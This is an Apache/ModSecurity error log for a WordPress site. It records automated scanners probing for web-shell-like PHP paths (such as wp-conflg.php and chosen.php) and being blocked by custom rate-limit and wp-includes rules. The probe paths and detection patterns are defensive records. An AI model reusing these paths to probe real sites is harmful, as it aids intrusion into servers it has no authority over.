[Fri Feb 27 08:17:28.682264 2026] [:error] [pid 54231:tid 54251] [client 51.12.82.80:2107] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plss3.php"] [unique_id "aaDimOTvb5AeyJCdY7AORQAAAFE"]
[Fri Feb 27 08:17:29.206020 2026] [:error] [pid 54231:tid 54250] [client 51.12.82.80:21143] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plss3.php"] [unique_id "aaDimeTvb5AeyJCdY7AORwAAAFA"]
[Fri Feb 27 08:17:29.735745 2026] [:error] [pid 54103:tid 54188] [client 51.12.82.80:10240] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aaDimevG4MPCmE0B2sDhbwAAANE"]
[Fri Feb 27 08:17:30.258269 2026] [:error] [pid 54231:tid 54240] [client 51.12.82.80:29062] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aaDimuTvb5AeyJCdY7AOSgAAAEY"]
[Fri Feb 27 08:17:30.782269 2026] [:error] [pid 54231:tid 54248] [client 51.12.82.80:33869] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aaDimuTvb5AeyJCdY7AOTQAAAE4"]
[Fri Feb 27 08:17:31.333668 2026] [:error] [pid 54231:tid 54236] [client 51.12.82.80:2417] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aaDim-Tvb5AeyJCdY7AOTgAAAEI"]
[Fri Feb 27 08:17:31.861124 2026] [:error] [pid 54102:tid 54160] [client 51.12.82.80:33915] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admins.php"] [unique_id "aaDim3i74D4fiYUm_GfKWQAAAJA"]
[Fri Feb 27 08:17:32.388209 2026] [:error] [pid 54231:tid 54257] [client 51.12.82.80:2106] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admins.php"] [unique_id "aaDinOTvb5AeyJCdY7AOVAAAAFc"]
[Fri Feb 27 08:17:32.921951 2026] [:error] [pid 54231:tid 54242] [client 51.12.82.80:2622] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admins.php"] [unique_id "aaDinOTvb5AeyJCdY7AOWAAAAEg"]
[Fri Feb 27 08:17:33.446682 2026] [:error] [pid 54103:tid 54186] [client 51.12.82.80:33376] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admins.php"] [unique_id "aaDinevG4MPCmE0B2sDhhAAAAM8"]
[Fri Feb 27 08:17:33.972351 2026] [:error] [pid 54103:tid 54173] [client 51.12.82.80:12935] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aaDinevG4MPCmE0B2sDhigAAAMI"]
[Fri Feb 27 08:17:34.501328 2026] [:error] [pid 54231:tid 54255] [client 51.12.82.80:2567] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aaDinuTvb5AeyJCdY7AOXgAAAFU"]
[Fri Feb 27 08:17:35.037254 2026] [:error] [pid 54102:tid 54161] [client 51.12.82.80:10906] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aaDin3i74D4fiYUm_GfKaAAAAJE"]
[Fri Feb 27 08:17:35.568663 2026] [:error] [pid 54231:tid 54234] [client 51.12.82.80:19405] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aaDin-Tvb5AeyJCdY7AOZgAAAEA"]
[Fri Feb 27 08:17:36.104581 2026] [:error] [pid 54103:tid 54192] [client 51.12.82.80:10908] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/main.php"] [unique_id "aaDioOvG4MPCmE0B2sDhmwAAANU"]
[Fri Feb 27 08:17:36.631933 2026] [:error] [pid 54103:tid 54174] [client 51.12.82.80:29068] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/main.php"] [unique_id "aaDioOvG4MPCmE0B2sDhnQAAAMM"]
[Fri Feb 27 08:17:37.160552 2026] [:error] [pid 54231:tid 54236] [client 51.12.82.80:2101] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/main.php"] [unique_id "aaDioeTvb5AeyJCdY7AOagAAAEI"]
[Fri Feb 27 08:17:37.692386 2026] [:error] [pid 54231:tid 54255] [client 51.12.82.80:19405] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/main.php"] [unique_id "aaDioeTvb5AeyJCdY7AObAAAAFU"]
[Fri Feb 27 08:17:38.235708 2026] [:error] [pid 54231:tid 54251] [client 51.12.82.80:8953] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a1.php"] [unique_id "aaDiouTvb5AeyJCdY7AObgAAAFE"]
[Fri Feb 27 08:17:38.759377 2026] [:error] [pid 54102:tid 54156] [client 51.12.82.80:2096] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a1.php"] [unique_id "aaDioni74D4fiYUm_GfKdgAAAIw"]
[Fri Feb 27 08:17:39.291044 2026] [:error] [pid 54102:tid 54144] [client 51.12.82.80:35189] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a1.php"] [unique_id "aaDio3i74D4fiYUm_GfKeAAAAIA"]
[Fri Feb 27 08:17:39.846987 2026] [:error] [pid 54231:tid 54246] [client 51.12.82.80:2091] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a1.php"] [unique_id "aaDio-Tvb5AeyJCdY7AOcgAAAEw"]
[Fri Feb 27 08:17:40.373243 2026] [:error] [pid 54103:tid 54172] [client 51.12.82.80:2489] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lala.php"] [unique_id "aaDipOvG4MPCmE0B2sDhogAAAME"]
[Fri Feb 27 08:17:40.929358 2026] [:error] [pid 54101:tid 54115] [client 51.12.82.80:2434] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lala.php"] [unique_id "aaDipFY5qgRktcYTGFuyZQAAAcc"]
[Fri Feb 27 08:17:41.453846 2026] [:error] [pid 54101:tid 54126] [client 51.12.82.80:19407] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lala.php"] [unique_id "aaDipVY5qgRktcYTGFuyaAAAAdI"]
[Fri Feb 27 08:17:41.978117 2026] [:error] [pid 54231:tid 54235] [client 51.12.82.80:10621] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lala.php"] [unique_id "aaDipeTvb5AeyJCdY7AOdwAAAEE"]
[Fri Feb 27 08:17:42.504446 2026] [:error] [pid 54231:tid 54236] [client 51.12.82.80:8205] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aaa.php"] [unique_id "aaDipuTvb5AeyJCdY7AOegAAAEI"]
[Fri Feb 27 08:17:43.027597 2026] [:error] [pid 54102:tid 54153] [client 51.12.82.80:8240] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aaa.php"] [unique_id "aaDip3i74D4fiYUm_GfKhQAAAIk"]
[Fri Feb 27 08:17:43.557622 2026] [:error] [pid 54101:tid 54131] [client 51.12.82.80:8906] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aaa.php"] [unique_id "aaDip1Y5qgRktcYTGFuybQAAAdc"]
[Fri Feb 27 08:17:44.089046 2026] [:error] [pid 54103:tid 54181] [client 51.12.82.80:2083] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aaa.php"] [unique_id "aaDiqOvG4MPCmE0B2sDhowAAAMo"]
[Fri Feb 27 08:17:44.624958 2026] [:error] [pid 54103:tid 54188] [client 51.12.82.80:35192] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a2.php"] [unique_id "aaDiqOvG4MPCmE0B2sDhpgAAANE"]
[Fri Feb 27 08:17:45.150791 2026] [:error] [pid 54103:tid 54190] [client 51.12.82.80:17492] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a2.php"] [unique_id "aaDiqevG4MPCmE0B2sDhqAAAANM"]
[Fri Feb 27 08:17:45.674164 2026] [:error] [pid 54103:tid 54193] [client 51.12.82.80:10562] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a2.php"] [unique_id "aaDiqevG4MPCmE0B2sDhrAAAANY"]
[Fri Feb 27 08:17:46.202401 2026] [:error] [pid 54102:tid 54147] [client 51.12.82.80:2473] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a2.php"] [unique_id "aaDiqni74D4fiYUm_GfKjAAAAIM"]
[Fri Feb 27 08:17:46.735231 2026] [:error] [pid 54102:tid 54166] [client 51.12.82.80:22634] [client 51.12.82.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aaDiqni74D4fiYUm_GfKkQAAAJY"]
[Fri Feb 27 08:17:47.268250 2026] [:error] [pid 54101:tid 54132] [client 51.12.82.80:8901] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jsond.php"] [unique_id "aaDiq1Y5qgRktcYTGFuycQAAAdg"]
[Fri Feb 27 08:17:47.824874 2026] [:error] [pid 54103:tid 54182] [client 51.12.82.80:22596] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jsond.php"] [unique_id "aaDiq-vG4MPCmE0B2sDhsQAAAMs"]
[Fri Feb 27 08:17:48.355676 2026] [:error] [pid 54101:tid 54114] [client 51.12.82.80:30705] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jsond.php"] [unique_id "aaDirFY5qgRktcYTGFuydQAAAcY"]
[Fri Feb 27 08:17:48.913703 2026] [:error] [pid 54101:tid 54109] [client 51.12.82.80:8931] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "aaDirFY5qgRktcYTGFuydgAAAcE"]
[Fri Feb 27 08:17:49.468127 2026] [:error] [pid 54231:tid 54257] [client 51.12.82.80:10615] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "aaDireTvb5AeyJCdY7AOiAAAAFc"]
[Fri Feb 27 08:17:49.992119 2026] [:error] [pid 54101:tid 54111] [client 51.12.82.80:10817] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "aaDirVY5qgRktcYTGFuyewAAAcM"]
[Fri Feb 27 08:17:50.526618 2026] [proxy_fcgi:error] [pid 54101:tid 54112] [client 51.12.82.80:12953] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:47:53.102565 2026] [proxy_fcgi:error] [pid 54103:tid 54186] [client 20.104.78.143:65514] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:47:53.312560 2026] [proxy_fcgi:error] [pid 54103:tid 54173] [client 20.104.78.143:65514] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:47:53.522515 2026] [proxy_fcgi:error] [pid 54103:tid 54176] [client 20.104.78.143:65514] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:47:53.733230 2026] [proxy_fcgi:error] [pid 54103:tid 54177] [client 20.104.78.143:65514] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:47:53.947729 2026] [proxy_fcgi:error] [pid 54103:tid 54184] [client 20.104.78.143:65514] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:47:54.159111 2026] [proxy_fcgi:error] [pid 54103:tid 54188] [client 20.104.78.143:65514] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:47:54.578453 2026] [proxy_fcgi:error] [pid 54103:tid 54175] [client 20.104.78.143:65514] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:47:54.801291 2026] [proxy_fcgi:error] [pid 54103:tid 54174] [client 20.104.78.143:65514] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:47:55.030665 2026] [proxy_fcgi:error] [pid 54103:tid 54195] [client 20.104.78.143:65514] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:47:55.258443 2026] [proxy_fcgi:error] [pid 54103:tid 54183] [client 20.104.78.143:65514] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:47:55.464499 2026] [:error] [pid 54103:tid 54186] [client 20.104.78.143:65514] [client 20.104.78.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aaDpu-vG4MPCmE0B2sDuQwAAAM8"]
[Fri Feb 27 08:47:56.304149 2026] [:error] [pid 54102:tid 54149] [client 20.104.78.143:57193] [client 20.104.78.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aaDpvHi74D4fiYUm_GfTYQAAAIU"]
[Fri Feb 27 08:47:57.150921 2026] [:error] [pid 54102:tid 54159] [client 20.104.78.143:65498] [client 20.104.78.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aaDpvXi74D4fiYUm_GfTYwAAAI8"]
[Fri Feb 27 08:47:58.008142 2026] [:error] [pid 54103:tid 54170] [client 20.104.78.143:57174] [client 20.104.78.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aaDpvuvG4MPCmE0B2sDuRwAAAMA"]
[Fri Feb 27 10:09:08.964339 2026] [:error] [pid 62998:tid 63021] [client 165.232.178.198:56880] [client 165.232.178.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.232.178.198, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aaD8xFQeueXZDUmoLokBCwAAARM"]
[Fri Feb 27 10:09:08.976710 2026] [proxy_fcgi:error] [pid 62998:tid 63021] [client 165.232.178.198:56880] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 10:21:19.450260 2026] [proxy_fcgi:error] [pid 54101:tid 54109] [client 145.239.10.137:57766] AH01071: Got error 'Primary script unknown', referer: http://agraphics.com.au/k.php
[Fri Feb 27 11:07:17.309476 2026] [proxy_fcgi:error] [pid 62998:tid 63018] [client 64.64.108.41:38111] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:18.344292 2026] [proxy_fcgi:error] [pid 62998:tid 63022] [client 64.64.108.41:38111] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:18.949471 2026] [proxy_fcgi:error] [pid 62998:tid 63002] [client 64.64.108.41:38111] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:19.445493 2026] [proxy_fcgi:error] [pid 62998:tid 63026] [client 64.64.108.41:38111] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:20.048042 2026] [proxy_fcgi:error] [pid 62998:tid 63011] [client 64.64.108.41:38111] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:20.654682 2026] [proxy_fcgi:error] [pid 62998:tid 63009] [client 64.64.108.41:38111] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:21.154955 2026] [:error] [pid 62998:tid 63023] [client 64.64.108.41:38111] [client 64.64.108.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/chosen.php"] [unique_id "aaEKaVQeueXZDUmoLolDlAAAARU"]
[Fri Feb 27 11:07:22.174270 2026] [:error] [pid 56075:tid 56090] [client 64.64.108.34:62353] [client 64.64.108.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/chosen.php"] [unique_id "aaEKasKBhrfI6KNv9Rh4pQAAAAw"]
[Fri Feb 27 11:07:23.173314 2026] [:error] [pid 54103:tid 54181] [client 64.64.108.31:20519] [client 64.64.108.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/wp-conflg.php"] [unique_id "aaEKa-vG4MPCmE0B2sAgsAAAAMo"]
[Fri Feb 27 11:07:24.835158 2026] [:error] [pid 49306:tid 49325] [client 64.64.108.27:55503] [client 64.64.108.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aaEKbPnSUDZue59Px9taNAAAAVE"]
